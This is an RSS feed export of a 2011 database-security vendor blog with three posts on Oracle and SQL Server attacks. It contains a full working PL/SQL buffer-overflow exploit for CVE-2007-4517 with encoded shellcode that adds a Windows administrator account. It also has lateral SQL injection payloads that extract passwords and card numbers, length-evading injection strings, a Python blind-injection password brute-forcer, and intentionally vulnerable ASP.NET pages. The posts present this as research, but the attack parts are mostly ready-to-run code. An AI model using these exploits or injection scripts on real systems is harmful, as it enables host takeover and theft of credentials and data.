<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>GreenSQL&#039;s Blog &#187; David Maman</title>
	<atom:link href="http://greensql.wordpress.com/author/dmaman/feed/" rel="self" type="application/rss+xml" />
	<link>http://greensql.wordpress.com</link>
	<description>Unified Database Security Solutions</description>
	<lastBuildDate>Thu, 10 Nov 2011 11:58:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='greensql.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>GreenSQL&#039;s Blog &#187; David Maman</title>
		<link>http://greensql.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://greensql.wordpress.com/osd.xml" title="GreenSQL&#039;s Blog" />
	<atom:link rel='hub' href='http://greensql.wordpress.com/?pushpress=hub'/>
		<item>
		<title>New exploit to Oracle CVE-2007-4517 vulnerability</title>
		<link>http://greensql.wordpress.com/2011/11/02/new-exploit-to-oracle-vulnerability/</link>
		<comments>http://greensql.wordpress.com/2011/11/02/new-exploit-to-oracle-vulnerability/#comments</comments>
		<pubDate>Wed, 02 Nov 2011 09:13:53 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=160</guid>
		<description><![CDATA[Summary As part of GreenSQL&#8217;s Database security research,  we&#8217;ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code. The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=160&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Summary</strong></p>
<p>As part of GreenSQL&#8217;s Database security research,  we&#8217;ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.</p>
<p>The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.</p>
<p>The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.</p>
<p>This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.</p>
<p><strong>Symptoms</strong></p>
<p>System Changes:<br />
•    New administrative user account.<br />
(Username: GreenSQL, Password:GreenSQL)<br />
•    OracleServiceXE service turns off.</p>
<p>Technical Information<br />
The exploits has been tested on:<br />
• Windows XP Professional SP3.<br />
• Oracle Database 10g Express Edition.</p>
<p>All the known exploits and POC&#8217;s developed for this vulnerability so far are Denial-of-Service exploits.</p>
<p>This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.</p>
<p><strong>The Exploit</strong></p>
<p>The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:<br />
1. “123”.<br />
2. Buffer (2305 bytes)</p>
<p>The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.</p>
<p>When executing the code, the EBX contains the starting address of the buffer + 0x7A5.</p>
<p>In order to execute the payload in the buffer, the following steps needs to be performed:<br />
1. The EIP should point to an address contains the jmp EBX instruction.<br />
2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.</p>
<p>Jumping to EBX<br />
In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.</p>
<p>Jumping to the Payload<br />
In order to execute the payload, the following instructions needs to be performed:<br />
sub ebx, 0x7a5<br />
jmp ebx</p>
<p>The opcodes of the first instruction are:<br />
0&#215;81, 0xEB, 0xA5, 0&#215;07, 0&#215;00, 0&#215;00.<br />
One of the limitations of HEXTORAW() function, is that it&#8217;s not able to deal with 0&#215;00 characters.<br />
Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:<br />
sub bl,0xb0<br />
add bh,0xfa<br />
jmp ebx</p>
<p>Which are equivalent to:<br />
sub ebx, 0x5b0<br />
jmp ebx</p>
<p>Which is equivalent to jmp ebx-0x5b0.</p>
<p>The opcodes of those instructions are:<br />
0&#215;80, 0xEB, 0xB0, 0&#215;80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.</p>
<p><strong>The Payload</strong></p>
<p>The payload’s size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payload’s space)</p>
<p>The payload creates a new user account, called “GreenSQL”, with the password “GreenSQL”.<br />
After creating the user account, it adds the user to the “Administrators” group.</p>
<p>The exploit code is available below.</p>
<p><strong>Conclusions</strong></p>
<p>It&#8217;s extremely important to make sure that you have updated your Database with the latest patches and security updates the database vendor has released, this prove of concept shows how it&#8217;s possible to gain control over your database host operating system using older vulnerability, which with extended research can be transformed to a new exploit.</p>
<p>Database security solutions, like GreenSQL, provides additional layer of defense against known and unknown attacks.</p>
<p><strong>The Exploit POC<br />
</strong></p>
<pre>#################################################
## GreenSQL   ########    Proof-of-Concept     ##
## This code is for educational purposes only  ##
#################################################
declare
 sc varchar2(32767);
 junk varchar2(32767);
 junk2 varchar2(32767);
 EBX varchar2(32767);
 junk3 varchar2(32767);
 JMP2SC varchar2(32767);
 junk4 varchar2(32767);
 EIP varchar2(32767);
 junk5 varchar2(32767);
 begin
 junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
 sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742
 4f45b31c9b147316b18036b1883c3643fc89a8c36'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8
 67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7
 4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934
 404df9803b5de4d5089a9fa'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8
 21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74
 d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144
 f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad
 136f07252b389814ab68ccecc'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5
 260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2
 f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16
 d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15
 dedb44ddaf1'));
 junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';
 junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';
 JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));
 junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';
 EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71
 60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX
 junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';
 xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX
 ||junk3||JMP2SC||junk4||EIP||junk5);
 end;</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/160/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/160/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/160/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/160/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/160/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/160/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/160/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/160/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=160&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/11/02/new-exploit-to-oracle-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>Lateral SQL Injection in Oracle Database</title>
		<link>http://greensql.wordpress.com/2011/09/15/lateral-sql-injection-in-oracle-database/</link>
		<comments>http://greensql.wordpress.com/2011/09/15/lateral-sql-injection-in-oracle-database/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 15:31:37 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[databa]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=153</guid>
		<description><![CDATA[Lateral SQL Injection in Oracle Database &#160; Overview ======= In order to get the system date in Oracle, you able to query for sysdate field in table dual. SQL&#62; select sysdate from dual; SYSDATE &#8212;&#8212;&#8212;&#8212;&#8211; 15-SEP-11 SYSDATE format is set in: nls_date_format. Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=153&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>Lateral SQL Injection in Oracle Database</h1>
<p>&nbsp;</p>
<p>Overview<br />
=======</p>
<p>In order to get the system date in Oracle, you able to query for sysdate field in table dual.<br />
<span style="color:#0000ff;">SQL</span>&gt; <span style="color:#0000ff;">select</span> sysdate <span style="color:#0000ff;">from</span> dual;<br />
SYSDATE<br />
<span style="color:#008000;">&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
15-SEP-11</p>
<p>SYSDATE format is set in: nls_date_format.</p>
<p>Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.</p>
<p>This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.</p>
<p>&nbsp;</p>
<p>Vulnerability<br />
=========</p>
<p>Nls_date_format allows input of any string without filtering.<br />
Example:  <span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;the time is:&#8221;&#8230; hh24:mi&#8217;</span></p>
<p>After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).</p>
<p><span style="color:#0000ff;">SQL</span>&gt; <span style="color:#0000ff;">select</span> sysdate <span style="color:#0000ff;">from</span> dual;</p>
<p>SYSDATE<br />
<span style="color:#008000;">&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
the time is:&#8230; 14:27</p>
<p>By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.<br />
In example, take a look on the following PL/SQL procedure:</p>
<p><span style="color:#0000ff;">create</span> or replace <span style="color:#0000ff;">procedure</span> date_proc is<br />
stmt varchar2(200);<br />
v_date <span style="color:#0000ff;">date:</span>=sysdate;<br />
<span style="color:#0000ff;">begin</span><br />
<span style="color:#0000ff;">stmt:</span>=<span style="color:#ff0000;">&#8216;select object_name from all_objects where created = &#8221;&#8217; </span>|| v_date ||<span style="color:#ff0000;">&#8221;&#8221;</span>;<br />
dbms_output.<span style="color:#0000ff;">enable</span>;<br />
dbms_output.put_line(stmt);<br />
<span style="color:#0000ff;">execute immediate</span> stmt;<br />
<span style="color:#0000ff;">end</span>;</p>
<p>The procedure set the variable v_date and set it as SYSDATE.</p>
<p>After setting <strong>v_date</strong>, the procedure sets <strong>stmt</strong> as “select object_name from all_objedcts where created =<strong> ‘[v_date]’</strong>;, which returns the names of all objects that created at the date specified in <strong>v_date</strong>.<br />
Note that to run and get dbms_output, you need to <strong>set serveroutput on</strong> before executing the procedure.</p>
<p>Example: <span style="color:#0000ff;">select</span> object_name <span style="color:#0000ff;">from</span> <span style="color:#008000;">all_objects </span><span style="color:#0000ff;">where</span> created = <span style="color:#ff0000;">&#8217;15-SEP-11&#8242;</span>;</p>
<p>Exploitation<br />
==========<br />
An attacker can manipulate that procedure by setting nls_date_format to<strong> ‘ or 1=1&#8211;</strong>.</p>
<p><span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;&#8221; or 1=1&#8211;&#8221;&#8216;</span>;</p>
<p>In this case, <strong>stmt</strong> will be:<br />
<span style="color:#0000ff;"><br />
select</span> object_name <span style="color:#0000ff;">from</span> <span style="color:#008000;">all_objects </span><span style="color:#0000ff;">where</span> created =<span style="color:#ff0000;"> &#8216;’ or 1=1&#8211;&#8217;</span>;</p>
<p>Which will return all object_name in <span style="color:#008000;">all_objects</span>.</p>
<p>in addition, it is able to execute any SQL command, in example:<br />
<span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;&#8221; union select username from users&#8211;&#8221;&#8216;</span>;<br />
<span style="color:#0000ff;">alter session set</span> nls_date_format =<span style="color:#ff0000;"> &#8216;&#8221;&#8221; union select password from users&#8211;&#8221;&#8216;</span>;<br />
<span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;&#8221; union select credit_card_number from clients&#8211;&#8221;&#8216;</span>;<br />
etc..</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/153/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=153&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/09/15/lateral-sql-injection-in-oracle-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>Shortest SQL Injection Attack</title>
		<link>http://greensql.wordpress.com/2011/09/14/shortest-sql-injection-attack/</link>
		<comments>http://greensql.wordpress.com/2011/09/14/shortest-sql-injection-attack/#comments</comments>
		<pubDate>Wed, 14 Sep 2011 20:23:47 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=144</guid>
		<description><![CDATA[&#160; Shortest SQL Injection Attack syntax &#160; Overview ======= In many cases, the user’s input is limited to a specific length. Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attack&#8217;s. In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=144&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<h1>Shortest SQL Injection Attack syntax</h1>
<p>&nbsp;</p>
<p>Overview<br />
=======<br />
In many cases, the user’s input is limited to a specific length.<br />
Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attack&#8217;s.<br />
In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest SQL injection attack syntax.</p>
<p>Get Database Name through 2-fields attack<br />
==============================<br />
In this scenario, the attacker attacks a web application which receives First-Name and Last-Name, and outputs its matched e-mail address. (see appendix A)</p>
<p>The original SQL query sent to the database is:<span style="color:#0000ff;"></p>
<p>select</span> EmailAddress <span style="color:#0000ff;">from</span> Person.Contact <span style="color:#0000ff;">where</span> FirstName = &#8216;@fn&#8217; and LastName = &#8216;@ln&#8217;; &#8211;where @fn and @ln are the user’s input.</p>
<p>In order to get the database name, the attacker can easily input the following string into one of the fields:</p>
<p>&#8216;<span style="color:#0000ff;"> union select</span> db_name();&#8211;</p>
<p>That string’s length is 27 bytes.</p>
<p>If the user’s input length is limited to 15 bytes for each field, the previous attack will be blocked. Even though, the attacker can input the following strings to bypass the limitation:</p>
<p>•    First Name: &#8216;<span style="color:#0000ff;">union select</span>/* (15 bytes)<br />
•    Last Name: */db_name();&#8211; (12 bytes)</p>
<p>The attack results the following query:<span style="color:#0000ff;"></p>
<p>select</span> EmailAddress <span style="color:#0000ff;">from</span> person.contact <span style="color:#0000ff;">where</span> FirstName = &#8221;<span style="color:#0000ff;">union select</span>/*&#8217; and LastName = &#8216;*/db_name()&#8211;&#8217;;</p>
<p>This will output the database name!</p>
<p>User Name and Password through 2-fields<br />
=============================<br />
In this scenario, the attacker attacks a web application which receives a username and a password, and outputs “Access Granted!” or “Access Denied!”. The web application limits user’s input to 20 bytes for each field. The web application validates only user’s input length. (see Appendix B)<br />
The application sends the following query:<br />
<span style="color:#0000ff;"><br />
select</span> count(*) <span style="color:#0000ff;">from</span> dbo.users <span style="color:#0000ff;">where</span> UserName = &#8216;@un&#8217; and <span style="color:#0000ff;">Password</span> = &#8216;@pass&#8217;; &#8211;where @un and @pass are the user’s input</p>
<p>In order to brute-force the first character of david’s password, the attacker sends the strings:</p>
<p>•    User Name: david&#8217;and substring/*<br />
•    Password: */(<span style="color:#0000ff;">password</span>,1,1)=&#8217;p</p>
<p>The attack results the following query:<br />
<span style="color:#0000ff;"><br />
select</span> count(*) <span style="color:#0000ff;">from</span> dbo.users <span style="color:#0000ff;">where</span> UserName = &#8216;david&#8217;and substring/*&#8217; and <span style="color:#0000ff;">Password</span> = &#8216;*/(password,1,1)=&#8217;p';</p>
<p>Return ‘1’ if the first character of the password is ‘p’ or ‘0’ in any different situation.<br />
In order to brute-force david’s entire password, the attacker can use the following python script:</p>
<p>&nbsp;</p>
<pre>##################################################
##   GreenSQL 2-fields SQL Injection Attack     ##
##            Password Brute Forcer             ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import urllib

un = 'david\'and substring/*'
i=0
CurrChr = 0
password = ""

for index in range(1,40):
    if CurrChr == 125:
        break
    for CurrChr in range(32,126):
        pswd = '*/(password,' + str(index) + ',1)=\'' + chr(CurrChr)
        args = {'UserName':un,'Password':pswd}
        encoded_args = urllib.urlencode(args)
        url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
        print "Sending: ", index, "X", chr(CurrChr)
        f = urllib.urlopen(url, encoded_args)
        contents = f.read()
        f.close()
        if (contents.find('Access Granted') != -1):
            password = password + chr(CurrChr)
            print "Password: ", password
            CurrChr =1
            break
         

        
        
Appendix A - Web Application #1 Source Code
===========================================

&lt;%@ Page Language="C#" Debug="true" %&gt;
  &lt;%@ Import Namespace="System.Data" %&gt;
  &lt;%@ Import Namespace="System.Data.SqlClient" %&gt;
  &lt;html&gt;
 &lt;head&gt;&lt;title&gt;Shortest&lt;/title&gt;&lt;/head&gt;
 
  &lt;body&gt;
  &lt;form id = "f" method="post" action="shortest.aspx"&gt;
    First Name: &lt;input name = "FirstName" type="text" maxlength="15" /&gt;(maxlength: 15) &lt;br /&gt;
    Last Name: &lt;input name = "LastName" type="text" maxlength="15"/&gt;(maxlength: 15) &lt;br /&gt;
    &lt;input id="submit" type="submit" value="Get Email" /&gt;
  &lt;/form&gt;
 
  &lt;%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string fn = "";
      fn = Request.Form["FirstName"];
      string ln = "";
      ln = Request.Form["LastName"];
      if (fn.Length &lt;= 15 &amp;&amp; ln.Length &lt;= 15)
      {
          string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("&lt;table&gt;");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("&lt;tr&gt;");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  Response.Write("&lt;th&gt;");
                  Response.Write(row[col]);
                  Response.Write("&lt;/th&gt;");
              }
              Response.Write("&lt;/tr&gt;");
          }
          Response.Write("&lt;/table&gt;");
          Response.Write(command);
          if (fn != null &amp;&amp; ln != null)
              Response.Write("&lt;br /&gt;FirstName: " + fn + "(" + fn.Length.ToString() + ")&lt;br /&gt;LastName: " + ln + "(" + ln.Length.ToString() + ")&lt;br /&gt;Total Length: " + (fn.Length + ln.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %&gt;
&lt;/body&gt;
&lt;/html&gt;

Appendix B – Web Application #2 Source Code
===========================================

&lt;%@ Page Language="C#" Debug="true" %&gt;
  &lt;%@ Import Namespace="System.Data" %&gt;
  &lt;%@ Import Namespace="System.Data.SqlClient" %&gt;
  &lt;html&gt;
 &lt;head&gt;&lt;title&gt;Shortest&lt;/title&gt;&lt;/head&gt;
 
  &lt;body&gt;
  &lt;form id = "f" method="post" action="Authentication.aspx"&gt;
    Username: &lt;input name = "UserName" type="text" maxlength="20" /&gt;(maxlength: 20) &lt;br /&gt;
    Password: &lt;input name = "Password" type="text" maxlength="20"/&gt;(maxlength: 20) &lt;br /&gt;
    &lt;input id="submit" type="submit" value="Authenticate" /&gt;
  &lt;/form&gt;
 
  &lt;%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string un = "";
      un = Request.Form["Username"];
      string pass = "";
      pass = Request.Form["Password"];
      if (un.Length &lt;= 20 &amp;&amp; pass.Length &lt;= 20)
      {
          string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("&lt;table&gt;");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("&lt;tr&gt;");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  if (System.Convert.ToInt32(row[0]) &gt; 0)

                      Response.Write("Access Granted!");

                  else
                      Response.Write("Access Denied!");
              }
              Response.Write("&lt;/tr&gt;");
          }
          Response.Write("&lt;/table&gt;");
          Response.Write(command);
          if (un != null &amp;&amp; pass != null)
